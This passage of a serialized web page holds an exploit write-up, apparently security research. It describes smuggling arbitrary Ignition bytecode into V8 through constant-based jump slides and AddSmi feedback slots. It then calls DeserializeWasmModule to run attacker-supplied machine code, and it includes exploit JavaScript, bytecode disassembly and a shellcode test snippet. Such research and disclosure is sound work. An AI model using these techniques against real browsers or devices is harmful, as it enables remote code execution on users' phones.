":28,"value":53196},{"type":22,"tag":118,"props":134068,"children":134069},{"style":674},[134070],{"type":28,"value":134043},{"type":22,"tag":118,"props":134072,"children":134073},{"style":125},[134074],{"type":28,"value":801},{"type":22,"tag":118,"props":134076,"children":134077},{"class":120,"line":177},[134078,134082,134086,134090,134094,134098],{"type":22,"tag":118,"props":134079,"children":134080},{"style":146},[134081],{"type":28,"value":3149},{"type":22,"tag":118,"props":134083,"children":134084},{"style":204},[134085],{"type":28,"value":39386},{"type":22,"tag":118,"props":134087,"children":134088},{"style":210},[134089],{"type":28,"value":837},{"type":22,"tag":118,"props":134091,"children":134092},{"style":210},[134093],{"type":28,"value":53196},{"type":22,"tag":118,"props":134095,"children":134096},{"style":674},[134097],{"type":28,"value":134043},{"type":22,"tag":118,"props":134099,"children":134100},{"style":125},[134101],{"type":28,"value":801},{"type":22,"tag":118,"props":134103,"children":134104},{"class":120,"line":195},[134105,134109,134113,134117,134121,134125],{"type":22,"tag":118,"props":134106,"children":134107},{"style":146},[134108],{"type":28,"value":3149},{"type":22,"tag":118,"props":134110,"children":134111},{"style":204},[134112],{"type":28,"value":133811},{"type":22,"tag":118,"props":134114,"children":134115},{"style":210},[134116],{"type":28,"value":837},{"type":22,"tag":118,"props":134118,"children":134119},{"style":210},[134120],{"type":28,"value":53196},{"type":22,"tag":118,"props":134122,"children":134123},{"style":674},[134124],{"type":28,"value":134043},{"type":22,"tag":118,"props":134126,"children":134127},{"style":125},[134128],{"type":28,"value":801},{"type":22,"tag":31,"props":134130,"children":134131},{},[134132],{"type":28,"value":134133},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":22,"tag":31,"props":134135,"children":134136},{},[134137],{"type":28,"value":134138},"We'll use a similar principle here, although much more limited. With",{"type":22,"tag":107,"props":134140,"children":134142},{"code":134141},"let a = 0x0693bebe;\n",[134143],{"type":22,"tag":114,"props":134144,"children":134145},{"__ignoreMap":7},[134146],{"type":28,"value":134141},{"type":22,"tag":31,"props":134148,"children":134149},{},[134150],{"type":28,"value":134151},"We will compile the bytecode:",{"type":22,"tag":107,"props":134153,"children":134155},{"code":134154},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[134156],{"type":22,"tag":114,"props":134157,"children":134158},{"__ignoreMap":7},[134159],{"type":28,"value":134154},{"type":22,"tag":31,"props":134161,"children":134162},{},[134163,134165,134171,134173,134179,134180,134186],{"type":28,"value":134164},"We can then jump to the 3rd byte (",{"type":22,"tag":114,"props":134166,"children":134168},{"className":134167},[],[134169],{"type":28,"value":134170},"0xbe",{"type":28,"value":134172},"), and gain 2 controlled bytes of execution, followed by ",{"type":22,"tag":114,"props":134174,"children":134176},{"className":134175},[],[134177],{"type":28,"value":134178},"0x93 0x02 - 0xf",{"type":28,"value":842},{"type":22,"tag":114,"props":134181,"children":134183},{"className":134182},[],[134184],{"type":28,"value":134185},"Jump +[2-15]",{"type":28,"value":134187},") to jump into the next constant.",{"type":22,"tag":31,"props":134189,"children":134190},{},[134191,134193,134199,134201,134207,134209,134215],{"type":28,"value":134192},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":22,"tag":114,"props":134194,"children":134196},{"className":134195},[],[134197],{"type":28,"value":134198},"StarX",{"type":28,"value":134200}," instructions, registers 16-121 resulted in two bytes ",{"type":22,"tag":114,"props":134202,"children":134204},{"className":134203},[],[134205],{"type":28,"value":134206},"Star rX",{"type":28,"value":134208}," instructions, and the next batch resulted in 4 byte ",{"type":22,"tag":114,"props":134210,"children":134212},{"className":134211},[],[134213],{"type":28,"value":134214},"Star.ExtraWide rX",{"type":28,"value":134216}," instructions.",{"type":22,"tag":31,"props":134218,"children":134219},{},[134220,134222,134228],{"type":28,"value":134221},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":22,"tag":114,"props":134223,"children":134225},{"className":134224},[],[134226],{"type":28,"value":134227},"0x8931111",{"type":28,"value":213},{"type":22,"tag":107,"props":134230,"children":134232},{"code":134231,"language":33304,"meta":7,"className":33302,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[134233],{"type":22,"tag":114,"props":134234,"children":134235},{"__ignoreMap":7},[134236,134261,134285,134309,134333,134357,134381],{"type":22,"tag":118,"props":134237,"children":134238},{"class":120,"line":121},[134239,134243,134248,134252,134257],{"type":22,"tag":118,"props":134240,"children":134241},{"style":146},[134242],{"type":28,"value":3149},{"type":22,"tag":118,"props":134244,"children":134245},{"style":204},[134246],{"type":28,"value":134247}," a206",{"type":22,"tag":118,"props":134249,"children":134250},{"style":210},[134251],{"type":28,"value":837},{"type":22,"tag":118,"props":134253,"children":134254},{"style":674},[134255],{"type":28,"value":134256}," 0x8931111",{"type":22,"tag":118,"props":134258,"children":134259},{"style":125},[134260],{"type":28,"value":801},{"type":22,"tag":118,"props":134262,"children":134263},{"class":120,"line":142},[134264,134268,134273,134277,134281],{"type":22,"tag":118,"props":134265,"children":134266},{"style":146},[134267],{"type":28,"value":3149},{"type":22,"tag":118,"props":134269,"children":134270},{"style":204},[134271],{"type":28,"value":134272}," a207",{"type":22,"tag":118,"props":134274,"children":134275},{"style":210},[134276],{"type":28,"value":837},{"type":22,"tag":118,"props":134278,"children":134279},{"style":674},[134280],{"type":28,"value":134256},{"type":22,"tag":118,"props":134282,"children":134283},{"style":125},[134284],{"type":28,"value":801},{"type":22,"tag":118,"props":134286,"children":134287},{"class":120,"line":177},[134288,134292,134297,134301,134305],{"type":22,"tag":118,"props":134289,"children":134290},{"style":146},[134291],{"type":28,"value":3149},{"type":22,"tag":118,"props":134293,"children":134294},{"style":204},[134295],{"type":28,"value":134296}," a208",{"type":22,"tag":118,"props":134298,"children":134299},{"style":210},[134300],{"type":28,"value":837},{"type":22,"tag":118,"props":134302,"children":134303},{"style":674},[134304],{"type":28,"value":134256},{"type":22,"tag":118,"props":134306,"children":134307},{"style":125},[134308],{"type":28,"value":801},{"type":22,"tag":118,"props":134310,"children":134311},{"class":120,"line":195},[134312,134316,134321,134325,134329],{"type":22,"tag":118,"props":134313,"children":134314},{"style":146},[134315],{"type":28,"value":3149},{"type":22,"tag":118,"props":134317,"children":134318},{"style":204},[134319],{"type":28,"value":134320}," a209",{"type":22,"tag":118,"props":134322,"children":134323},{"style":210},[134324],{"type":28,"value":837},{"type":22,"tag":118,"props":134326,"children":134327},{"style":674},[134328],{"type":28,"value":134256},{"type":22,"tag":118,"props":134330,"children":134331},{"style":125},[134332],{"type":28,"value":801},{"type":22,"tag":118,"props":134334,"children":134335},{"class":120,"line":244},[134336,134340,134345,134349,134353],{"type":22,"tag":118,"props":134337,"children":134338},{"style":146},[134339],{"type":28,"value":3149},{"type":22,"tag":118,"props":134341,"children":134342},{"style":204},[134343],{"type":28,"value":134344}," a210",{"type":22,"tag":118,"props":134346,"children":134347},{"style":210},[134348],{"type":28,"value":837},{"type":22,"tag":118,"props":134350,"children":134351},{"style":674},[134352],{"type":28,"value":134256},{"type":22,"tag":118,"props":134354,"children":134355},{"style":125},[134356],{"type":28,"value":801},{"type":22,"tag":118,"props":134358,"children":134359},{"class":120,"line":253},[134360,134364,134369,134373,134377],{"type":22,"tag":118,"props":134361,"children":134362},{"style":146},[134363],{"type":28,"value":3149},{"type":22,"tag":118,"props":134365,"children":134366},{"style":204},[134367],{"type":28,"value":134368}," a211",{"type":22,"tag":118,"props":134370,"children":134371},{"style":210},[134372],{"type":28,"value":837},{"type":22,"tag":118,"props":134374,"children":134375},{"style":674},[134376],{"type":28,"value":134256},{"type":22,"tag":118,"props":134378,"children":134379},{"style":125},[134380],{"type":28,"value":801},{"type":22,"tag":118,"props":134382,"children":134383},{"class":120,"line":263},[134384,134388,134393,134397,134401],{"type":22,"tag":118,"props":134385,"children":134386},{"style":146},[134387],{"type":28,"value":3149},{"type":22,"tag":118,"props":134389,"children":134390},{"style":204},[134391],{"type":28,"value":134392}," a212",{"type":22,"tag":118,"props":134394,"children":134395},{"style":210},[134396],{"type":28,"value":837},{"type":22,"tag":118,"props":134398,"children":134399},{"style":674},[134400],{"type":28,"value":134256},{"type":22,"tag":118,"props":134402,"children":134403},{"style":125},[134404],{"type":28,"value":801},{"type":22,"tag":31,"props":134406,"children":134407},{},[134408],{"type":28,"value":134409},"Those instructions result in:",{"type":22,"tag":107,"props":134411,"children":134413},{"code":134412},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[134414],{"type":22,"tag":114,"props":134415,"children":134416},{"__ignoreMap":7},[134417],{"type":28,"value":134412},{"type":22,"tag":31,"props":134419,"children":134420},{},[134421,134423,134429,134431,134435],{"type":28,"value":134422},"(The offset of ",{"type":22,"tag":114,"props":134424,"children":134426},{"className":134425},[],[134427],{"type":28,"value":134428},"Jump",{"type":28,"value":134430}," instructions is added to the ",{"type":22,"tag":4764,"props":134432,"children":134433},{},[134434],{"type":28,"value":73027},{"type":28,"value":134436}," of the instruction.)",{"type":22,"tag":31,"props":134438,"children":134439},{},[134440,134442,134448],{"type":28,"value":134441},"Now, 3 out of the 6 bytes in a ",{"type":22,"tag":114,"props":134443,"children":134445},{"className":134444},[],[134446],{"type":28,"value":134447},"LdaSmi.ExtraWide",{"type":28,"value":134449}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":22,"tag":1289,"props":134451,"children":134453},{"id":134452},"exploit-goal",[134454],{"type":28,"value":134455},"Exploit Goal",{"type":22,"tag":31,"props":134457,"children":134458},{},[134459,134461,134467,134468,134474],{"type":28,"value":134460},"Initially we considered using ",{"type":22,"tag":114,"props":134462,"children":134464},{"className":134463},[],[134465],{"type":28,"value":134466},"Star",{"type":28,"value":888},{"type":22,"tag":114,"props":134469,"children":134471},{"className":134470},[],[134472],{"type":28,"value":134473},"Ldar",{"type":28,"value":134475}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":22,"tag":31,"props":134477,"children":134478},{},[134479,134481,134488],{"type":28,"value":134480},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":22,"tag":42,"props":134482,"children":134485},{"href":134483,"rel":134484},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[46],[134486],{"type":28,"value":134487},"stack pivot and ROP",{"type":28,"value":134489},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":22,"tag":31,"props":134491,"children":134492},{},[134493],{"type":28,"value":134494},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":22,"tag":31,"props":134496,"children":134497},{},[134498],{"type":28,"value":134499},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":22,"tag":31,"props":134501,"children":134502},{},[134503,134505,134511,134513,134519,134521,134527],{"type":28,"value":134504},"At this point, we identified an interesting opcode: ",{"type":22,"tag":114,"props":134506,"children":134508},{"className":134507},[],[134509],{"type":28,"value":134510},"CallRuntime",{"type":28,"value":134512},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":22,"tag":114,"props":134514,"children":134516},{"className":134515},[],[134517],{"type":28,"value":134518},"--allow-natives-syntax",{"type":28,"value":134520}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":22,"tag":114,"props":134522,"children":134524},{"className":134523},[],[134525],{"type":28,"value":134526},"DeserializeWasmModule",{"type":28,"value":292},{"type":22,"tag":31,"props":134529,"children":134530},{},[134531,134533,134540,134541,134546,134547,134553,134555,134562],{"type":28,"value":134532},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":22,"tag":42,"props":134534,"children":134537},{"href":134535,"rel":134536},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[46],[134538],{"type":28,"value":134539},"JIT-compiled functions",{"type":28,"value":20498},{"type":22,"tag":114,"props":134542,"children":134544},{"className":134543},[],[134545],{"type":28,"value":134526},{"type":28,"value":888},{"type":22,"tag":114,"props":134548,"children":134550},{"className":134549},[],[134551],{"type":28,"value":134552},"SerializeWasmModule",{"type":28,"value":134554}," themselves are only used from test functions, and indeed have been ",{"type":22,"tag":42,"props":134556,"children":134559},{"href":134557,"rel":134558},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[46],[134560],{"type":28,"value":134561},"removed",{"type":28,"value":134563}," from recent production V8 builds due to how abusable this functionality is.",{"type":22,"tag":31,"props":134565,"children":134566},{},[134567,134569,134575,134577,134583,134585,134590,134592,134598,134600,134605,134606,134611,134612,134617,134619,134625,134627,134631],{"type":28,"value":134568},"However, calling this opcode represented a significant challenge:\n",{"type":22,"tag":114,"props":134570,"children":134572},{"className":134571},[],[134573],{"type":28,"value":134574},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":134576},"\nWhere ",{"type":22,"tag":114,"props":134578,"children":134580},{"className":134579},[],[134581],{"type":28,"value":134582},"func-id",{"type":28,"value":134584}," is a 2-byte function ID, ",{"type":22,"tag":114,"props":134586,"children":134588},{"className":134587},[],[134589],{"type":28,"value":40169},{"type":28,"value":134591}," is the index of the last register passed and ",{"type":22,"tag":114,"props":134593,"children":134595},{"className":134594},[],[134596],{"type":28,"value":134597},"argc",{"type":28,"value":134599}," is the number of arguments passed (e.g. passing ",{"type":22,"tag":114,"props":134601,"children":134603},{"className":134602},[],[134604],{"type":28,"value":46320},{"type":28,"value":231},{"type":22,"tag":114,"props":134607,"children":134609},{"className":134608},[],[134610],{"type":28,"value":46463},{"type":28,"value":12991},{"type":22,"tag":114,"props":134613,"children":134615},{"className":134614},[],[134616],{"type":28,"value":46446},{"type":28,"value":134618}," would be encoded as ",{"type":22,"tag":114,"props":134620,"children":134622},{"className":134621},[],[134623],{"type":28,"value":134624},"\u003Cr2> \u003C3>",{"type":28,"value":134626},").\nThis requires ",{"type":22,"tag":4764,"props":134628,"children":134629},{},[134630],{"type":28,"value":20074},{"type":28,"value":134632}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":22,"tag":1289,"props":134634,"children":134636},{"id":134635},"better-bytecode-control",[134637],{"type":28,"value":134638},"Better Bytecode Control",{"type":22,"tag":31,"props":134640,"children":134641},{},[134642,134644,134651,134653,134659],{"type":28,"value":134643},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":22,"tag":42,"props":134645,"children":134648},{"href":134646,"rel":134647},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[46],[134649],{"type":28,"value":134650},"feedback vector slot",{"type":28,"value":134652},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":22,"tag":114,"props":134654,"children":134656},{"className":134655},[],[134657],{"type":28,"value":134658},"AddSmi",{"type":28,"value":134660}," instruction, it represents the number of operations performed on the target value so far.",{"type":22,"tag":31,"props":134662,"children":134663},{},[134664],{"type":28,"value":134665},"For example, we can look at the below Ignition disassembly:",{"type":22,"tag":107,"props":134667,"children":134669},{"code":134668},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134670],{"type":22,"tag":114,"props":134671,"children":134672},{"__ignoreMap":7},[134673],{"type":28,"value":134668},{"type":22,"tag":31,"props":134675,"children":134676},{},[134677,134679,134685],{"type":28,"value":134678},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":22,"tag":114,"props":134680,"children":134682},{"className":134681},[],[134683],{"type":28,"value":134684},"AddSmi.ExtraWide",{"type":28,"value":134686},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":22,"tag":31,"props":134688,"children":134689},{},[134690],{"type":28,"value":134691},"Eventually, we can reach a stage like this:",{"type":22,"tag":107,"props":134693,"children":134695},{"code":134694},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134696],{"type":22,"tag":114,"props":134697,"children":134698},{"__ignoreMap":7},[134699],{"type":28,"value":134694},{"type":22,"tag":31,"props":134701,"children":134702},{},[134703],{"type":28,"value":134704},"If you skip the first two bytes, you have",{"type":22,"tag":64,"props":134706,"children":134707},{},[134708,134739],{"type":22,"tag":68,"props":134709,"children":134710},{},[134711,134716,134718,134723,134725,134731,134733],{"type":22,"tag":114,"props":134712,"children":134714},{"className":134713},[],[134715],{"type":28,"value":134510},{"type":28,"value":134717}," (0x6c) to ",{"type":22,"tag":114,"props":134719,"children":134721},{"className":134720},[],[134722],{"type":28,"value":134526},{"type":28,"value":134724}," (0x0266) starting from register ",{"type":22,"tag":114,"props":134726,"children":134728},{"className":134727},[],[134729],{"type":28,"value":134730},"a2",{"type":28,"value":134732}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":22,"tag":114,"props":134734,"children":134736},{"className":134735},[],[134737],{"type":28,"value":134738},"DeserializeWasmModule(a2, a1)",{"type":22,"tag":68,"props":134740,"children":134741},{},[134742],{"type":28,"value":134743},"a Jump instruction",{"type":22,"tag":1289,"props":134745,"children":134747},{"id":134746},"returning-back-to-js",[134748],{"type":28,"value":134749},"Returning Back to JS",{"type":22,"tag":31,"props":134751,"children":134752},{},[134753,134755,134761],{"type":28,"value":134754},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":22,"tag":114,"props":134756,"children":134758},{"className":134757},[],[134759],{"type":28,"value":134760},"yield",{"type":28,"value":134762}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":22,"tag":31,"props":134764,"children":134765},{},[134766],{"type":28,"value":134767},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":22,"tag":107,"props":134769,"children":134771},{"code":134770,"language":33304,"meta":7,"className":33302,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134772],{"type":22,"tag":114,"props":134773,"children":134774},{"__ignoreMap":7},[134775,134786,134834,134855,134871,134894,134922,134939],{"type":22,"tag":118,"props":134776,"children":134777},{"class":120,"line":121},[134778,134782],{"type":22,"tag":118,"props":134779,"children":134780},{"style":1480},[134781],{"type":28,"value":50271},{"type":22,"tag":118,"props":134783,"children":134784},{"style":125},[134785],{"type":28,"value":1474},{"type":22,"tag":118,"props":134787,"children":134788},{"class":120,"line":142},[134789,134794,134798,134803,134807,134812,134816,134821,134825,134829],{"type":22,"tag":118,"props":134790,"children":134791},{"style":204},[134792],{"type":28,"value":134793},"  $",{"type":22,"tag":118,"props":134795,"children":134796},{"style":125},[134797],{"type":28,"value":78214},{"type":22,"tag":118,"props":134799,"children":134800},{"style":1866},[134801],{"type":28,"value":134802},"'a1 + 0xa931111;'",{"type":22,"tag":118,"props":134804,"children":134805},{"style":125},[134806],{"type":28,"value":292},{"type":22,"tag":118,"props":134808,"children":134809},{"style":532},[134810],{"type":28,"value":134811},"repeat",{"type":22,"tag":118,"props":134813,"children":134814},{"style":125},[134815],{"type":28,"value":540},{"type":22,"tag":118,"props":134817,"children":134818},{"style":674},[134819],{"type":28,"value":134820},"0x059302",{"type":22,"tag":118,"props":134822,"children":134823},{"style":210},[134824],{"type":28,"value":53196},{"type":22,"tag":118,"props":134826,"children":134827},{"style":674},[134828],{"type":28,"value":6535},{"type":22,"tag":118,"props":134830,"children":134831},{"style":125},[134832],{"type":28,"value":134833},")}\n",{"type":22,"tag":118,"props":134835,"children":134836},{"class":120,"line":177},[134837,134842,134846,134851],{"type":22,"tag":118,"props":134838,"children":134839},{"style":204},[134840],{"type":28,"value":134841},"  a1",{"type":22,"tag":118,"props":134843,"children":134844},{"style":210},[134845],{"type":28,"value":10905},{"type":22,"tag":118,"props":134847,"children":134848},{"style":674},[134849],{"type":28,"value":134850}," 0x0402666c",{"type":22,"tag":118,"props":134852,"children":134853},{"style":125},[134854],{"type":28,"value":801},{"type":22,"tag":118,"props":134856,"children":134857},{"class":120,"line":195},[134858,134862,134867],{"type":22,"tag":118,"props":134859,"children":134860},{"style":1480},[134861],{"type":28,"value":37142},{"type":22,"tag":118,"props":134863,"children":134864},{"style":674},[134865],{"type":28,"value":134866}," 0x393e91a",{"type":22,"tag":118,"props":134868,"children":134869},{"style":125},[134870],{"type":28,"value":801},{"type":22,"tag":118,"props":134872,"children":134873},{"class":120,"line":244},[134874,134878,134882,134886,134890],{"type":22,"tag":118,"props":134875,"children":134876},{"style":125},[134877],{"type":28,"value":48814},{"type":22,"tag":118,"props":134879,"children":134880},{"style":1480},[134881],{"type":28,"value":50351},{"type":22,"tag":118,"props":134883,"children":134884},{"style":125},[134885],{"type":28,"value":842},{"type":22,"tag":118,"props":134887,"children":134888},{"style":204},[134889],{"type":28,"value":53395},{"type":22,"tag":118,"props":134891,"children":134892},{"style":125},[134893],{"type":28,"value":16783},{"type":22,"tag":118,"props":134895,"children":134896},{"class":120,"line":253},[134897,134901,134905,134909,134913,134918],{"type":22,"tag":118,"props":134898,"children":134899},{"style":204},[134900],{"type":28,"value":103540},{"type":22,"tag":118,"props":134902,"children":134903},{"style":125},[134904],{"type":28,"value":292},{"type":22,"tag":118,"props":134906,"children":134907},{"style":532},[134908],{"type":28,"value":103549},{"type":22,"tag":118,"props":134910,"children":134911},{"style":125},[134912],{"type":28,"value":540},{"type":22,"tag":118,"props":134914,"children":134915},{"style":1866},[134916],{"type":28,"value":134917},"\"foo\"",{"type":22,"tag":118,"props":134919,"children":134920},{"style":125},[134921],{"type":28,"value":682},{"type":22,"tag":118,"props":134923,"children":134924},{"class":120,"line":263},[134925,134930,134935],{"type":22,"tag":118,"props":134926,"children":134927},{"style":1480},[134928],{"type":28,"value":134929},"  yield",{"type":22,"tag":118,"props":134931,"children":134932},{"style":204},[134933],{"type":28,"value":134934}," a16",{"type":22,"tag":118,"props":134936,"children":134937},{"style":125},[134938],{"type":28,"value":801},{"type":22,"tag":118,"props":134940,"children":134941},{"class":120,"line":318},[134942],{"type":22,"tag":118,"props":134943,"children":134944},{"style":125},[134945],{"type":28,"value":481},{"type":22,"tag":31,"props":134947,"children":134948},{},[134949,134951],{"type":28,"value":134950},"Starting from the final ",{"type":22,"tag":114,"props":134952,"children":134954},{"className":134953},[],[134955],{"type":28,"value":134658},{"type":22,"tag":107,"props":134957,"children":134959},{"code":134958}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[134960],{"type":22,"tag":114,"props":134961,"children":134962},{"__ignoreMap":7},[134963],{"type":28,"value":134958},{"type":22,"tag":31,"props":134965,"children":134966},{},[134967,134969,134974,134976,134982],{"type":28,"value":134968},"The smuggled jump in ",{"type":22,"tag":114,"props":134970,"children":134972},{"className":134971},[],[134973],{"type":28,"value":134658},{"type":28,"value":134975}," will redirect us to ",{"type":22,"tag":114,"props":134977,"children":134979},{"className":134978},[],[134980],{"type":28,"value":134981},"1a e9 93 03",{"type":28,"value":134983},", which results in:",{"type":22,"tag":64,"props":134985,"children":134986},{},[134987,134998],{"type":22,"tag":68,"props":134988,"children":134989},{},[134990,134996],{"type":22,"tag":114,"props":134991,"children":134993},{"className":134992},[],[134994],{"type":28,"value":134995},"Star r16",{"type":28,"value":134997}," (store accumulator to r16)",{"type":22,"tag":68,"props":134999,"children":135000},{},[135001,135006],{"type":22,"tag":114,"props":135002,"children":135004},{"className":135003},[],[135005],{"type":28,"value":134428},{"type":28,"value":135007}," past the throw into the catch relevant code",{"type":22,"tag":31,"props":135009,"children":135010},{},[135011,135013,135019],{"type":28,"value":135012},"This will bring us nicely to the final ",{"type":22,"tag":114,"props":135014,"children":135016},{"className":135015},[],[135017],{"type":28,"value":135018},"yield a16",{"type":28,"value":135020},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":22,"tag":1289,"props":135022,"children":135024},{"id":135023},"executing-shellcode",[135025],{"type":28,"value":135026},"Executing Shellcode",{"type":22,"tag":31,"props":135028,"children":135029},{},[135030],{"type":28,"value":135031},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":22,"tag":107,"props":135033,"children":135035},{"code":135034,"language":37556,"meta":7,"className":37554,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[135036],{"type":22,"tag":114,"props":135037,"children":135038},{"__ignoreMap":7},[135039,135069,135296,135364,135371,135416,135462,135502,135509,135533,135570,135606],{"type":22,"tag":118,"props":135040,"children":135041},{"class":120,"line":121},[135042,135046,135051,135055,135059,135064],{"type":22,"tag":118,"props":135043,"children":135044},{"style":146},[135045],{"type":28,"value":36987},{"type":22,"tag":118,"props":135047,"children":135048},{"style":204},[135049],{"type":28,"value":135050}," wasm_code",{"type":22,"tag":118,"props":135052,"children":135053},{"style":210},[135054],{"type":28,"value":837},{"type":22,"tag":118,"props":135056,"children":135057},{"style":146},[135058],{"type":28,"value":3442},{"type":22,"tag":118,"props":135060,"children":135061},{"style":532},[135062],{"type":28,"value":135063}," Uint8Array",{"type":22,"tag":118,"props":135065,"children":135066},{"style":125},[135067],{"type":28,"value":135068},"([\n",{"type":22,"tag":118,"props":135070,"children":135071},{"class":120,"line":142},[135072,135077,135081,135086,135090,135095,135099,135104,135108,135112,135116,135120,135124,135128,135132,135136,135140,135144,135148,135152,135156,135160,135164,135169,135173,135177,135181,135185,135189,135193,135197,135201,135205,135209,135213,135217,135221,135225,135229,135233,135237,135241,135245,135249,135253,135257,135261,135266,135270,135275,135279,135284,135288,135292],{"type":22,"tag":118,"props":135073,"children":135074},{"style":674},[135075],{"type":28,"value":135076},"  0",{"type":22,"tag":118,"props":135078,"children":135079},{"style":125},[135080],{"type":28,"value":231},{"type":22,"tag":118,"props":135082,"children":135083},{"style":674},[135084],{"type":28,"value":135085},"97",{"type":22,"tag":118,"props":135087,"children":135088},{"style":125},[135089],{"type":28,"value":231},{"type":22,"tag":118,"props":135091,"children":135092},{"style":674},[135093],{"type":28,"value":135094},"115",{"type":22,"tag":118,"props":135096,"children":135097},{"style":125},[135098],{"type":28,"value":231},{"type":22,"tag":118,"props":135100,"children":135101},{"style":674},[135102],{"type":28,"value":135103},"109",{"type":22,"tag":118,"props":135105,"children":135106},{"style":125},[135107],{"type":28,"value":231},{"type":22,"tag":118,"props":135109,"children":135110},{"style":674},[135111],{"type":28,"value":6026},{"type":22,"tag":118,"props":135113,"children":135114},{"style":125},[135115],{"type":28,"value":231},{"type":22,"tag":118,"props":135117,"children":135118},{"style":674},[135119],{"type":28,"value":6036},{"type":22,"tag":118,"props":135121,"children":135122},{"style":125},[135123],{"type":28,"value":231},{"type":22,"tag":118,"props":135125,"children":135126},{"style":674},[135127],{"type":28,"value":6036},{"type":22,"tag":118,"props":135129,"children":135130},{"style":125},[135131],{"type":28,"value":231},{"type":22,"tag":118,"props":135133,"children":135134},{"style":674},[135135],{"type":28,"value":6036},{"type":22,"tag":118,"props":135137,"children":135138},{"style":125},[135139],{"type":28,"value":231},{"type":22,"tag":118,"props":135141,"children":135142},{"style":674},[135143],{"type":28,"value":6026},{"type":22,"tag":118,"props":135145,"children":135146},{"style":125},[135147],{"type":28,"value":231},{"type":22,"tag":118,"props":135149,"children":135150},{"style":674},[135151],{"type":28,"value":19493},{"type":22,"tag":118,"props":135153,"children":135154},{"style":125},[135155],{"type":28,"value":231},{"type":22,"tag":118,"props":135157,"children":135158},{"style":674},[135159],{"type":28,"value":6026},{"type":22,"tag":118,"props":135161,"children":135162},{"style":125},[135163],{"type":28,"value":231},{"type":22,"tag":118,"props":135165,"children":135166},{"style":674},[135167],{"type":28,"value":135168},"96",{"type":22,"tag":118,"props":1